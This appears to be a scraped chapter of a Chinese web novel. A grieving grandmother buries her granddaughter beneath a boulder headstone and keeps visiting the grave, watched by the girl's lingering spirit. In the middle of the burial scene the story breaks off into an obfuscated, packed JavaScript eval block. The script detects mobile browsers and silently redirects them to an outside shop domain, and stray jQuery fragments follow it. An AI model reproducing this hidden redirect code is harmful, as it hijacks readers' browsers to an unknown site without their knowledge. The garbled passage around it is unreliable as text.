翌日天未亮，村长挨家挨户报喜，忙活了几个时辰，终于只剩这最后一家。
村长直接推开院儿外的篱笆栏，见着周围没人，便朝着屋内喊：“刘姆仔？刘姆仔？”
老人家从房里走出来，阳光一照，脸上的沟壑愈发深重，双目充血，神情苍白无力，吓得村长以为她将要去了。
“啥代志（什么事），村长。”
老人家一问，村长这才缓过神来，说道：“刘姆仔，明年开春咱着会当作穑矣（来年开春咱们便能种庄稼啦）！”
村长说完这句话，老人家开始抽噎起来，她的表情还是毫无波澜，但串成线的泪滴在发黄发硬的土地上，打湿了一圈又一圈，嘴里还呢喃着：“毋种矣，毋种矣（不种了）！”
村长脸色一变：“刘姆仔，你是按怎（你怎么了）？”
老人家抹干净脸，猩红的双眼木讷地盯着身前之人，中间停顿了好几次，村长才将话听清。
她说，孙女死了，只有她一个了。
那小女孩村长以前也抱过，印象里还是那张整日永远乐呵呵的脸，这才多久，怎么就……唉！
心里想着，他抬头朝着屋内走，还没等跨过门槛儿，便一眼瞧见了摆放在床边的黑棺。
即便冬日气温低，黑棺放在家里几日，离得近些也能闻见一点儿腐臭味。这样下去可不行，得让孩子尽早入土为安才是。
村长叫来村子里一群年轻力壮的小伙子，哼哧哼哧两声，便将黑棺抬了起来。前头几个，后面几个，中间再安排一个稳着。
黑棺还没走出院儿，老人家急着跑出来，半身伏在棺盖上，摸着不肯撒手，嘴里一直念叨着：“囡仔，阿嬷在！”
村长不忍，让前来探望的张婆子和阿紫将老人家拉开。
黑棺上挂满了水渍，老人家被人搀扶着跟上队伍尾巴，她走得很快，身旁的张婆子因为年纪大了险些追不上，只能由阿紫陪在左右。
村长派人去请了风水先生，经此商量，最终将墓地定在村子后山的整块儿平地上。
队伍摇摇晃晃走到目的地，不到两盏茶的时间，五大三粗的汉子们已经挖出一个深坑。
众人将棺材小心翼翼地放在坑里，随后拿起铲子便开始埋盖。
阿紫时不时转头观察老人家的反应，看着渐渐消失在视野的黑棺，她忽然想到了自己的两个孩子，当初命悬一线，两日滴水未进，身子骨弱到一度快要撑不住。
幸得老天垂怜，拼着最后一刻下起了雪，两个孩子好不容易有水喝，活了下来。
阿紫心里倍感痛惜，多好的一个孩子啊，甚至都没有她的两个孩子大，说没，就真没了……
下葬整个过程中，老人家的眼神一刻也没从黑棺上移下来，哪怕坟土都已经堆得高高的，目光还是舍不得离开那块隆起的土地。
悬日映射出迷幻的红霞，干了一整天活儿，大伙儿此时正围坐在草堆上喝酒，那是村长从家里特意带来的好酒，平日里抠门儿得不行，如今却尽数赠与了几个汉子解渴。
老人家还是没有离开墓地，绕着几块切好的石碑打转，挑来挑去，最终，她走到村长面前，说：“村长，着用彼块石头吧（就用那块石头吧）。”
一群人顺着老人家指着的方向看过去，嗯？！这不就是挡在坟前的那块石头嘛？
因为石头太重，已经扎根在土壤里，根本挪不走，没办法只能留在那里，想着等石碑立好了至少还能挡住。
“这……”风水先生在一旁表示疑虑。可村长倒没再犹豫，直接说：“我看彼块石仔袂?（我看那块儿石头挺好），着用伊啦（就用着吧）。”
于是，前来办事的人用锥子一点一点在巨石上刻下小女孩儿的名字。
完成后，大伙儿排队，一个接着一个上前烧了三炷香，他们没有弯腰揖拜，只是插了些冒烟的东西在挨着巨石前的土地上。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894069|212807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
村里有个说法，死后祭拜之人，可以借此消除一世旧缘，了无牵挂地离开，然后忘却所有，继续轮回。
老人家表示，祭奠可以，揖拜不让。至少现在，她还是舍不得囡仔，假的也好，真的也罢，她总得给自己留个念想。
夜已近，老人家被阿紫和张婆子带着回了家，左邻右舍间的，看着屋内只剩一位孤寡老人，免不了往后多多关照。
过了这个难捱的冬天，终于等到了开春儿。一连两个月，老人家都泡在田地里，她没有选择接受村里人送来的粮，既然有手有脚，还能喘气能睡觉，就要靠自己吃上饭。
她想明白了，为了囡仔有人照顾，得再活得久一些才好。
……
华禹两千零五年，是小女孩离开的第四个年头，每逢冬至将夜，老人家都会拿着一碟豆糕和一小块儿糖，放在墓碑前。
这次她如同往常一样，手里依旧提着个竹篮子来到墓前。她蹲下身，将篮子里的东西全部拿出来，规规矩矩地摆放好。
老人家摸着巨石，一遍又一遍擦过那几道雕刻的痕迹，半个钟头后，点燃香柱，插在坟前，直到轻烟彻底熄灭，她才提着篮子朝山下走去。
忽而微风抚过，林间发出“哗啦”的躁动声，几片叶子掉落在巨石上，慢慢地，滑到地面。云层退去，月光重现，一片明朗下，浮现在离清河眼前的，是巨石上四个大字：清河之墓。
离清河呆愣住，无形的风只能感知却不能够表达出任何。清朗的月尽数洒在巨石前，微微隆起的小丘沿着光阑向下，越来越暗越来越远。
老人家的日子重复过着，夜里总是觉少梦多，她也懒得继续躺下去，索性起身，端把椅子坐在门口发呆。
不耕种的时间，在家里她就一直抱着木箱子，偶尔翻翻，待看见小块儿脏兮兮、粘着糖浆的手帕时，又紧紧关上盖子，就这么站在院儿里，转向后山，一望便是整整半日。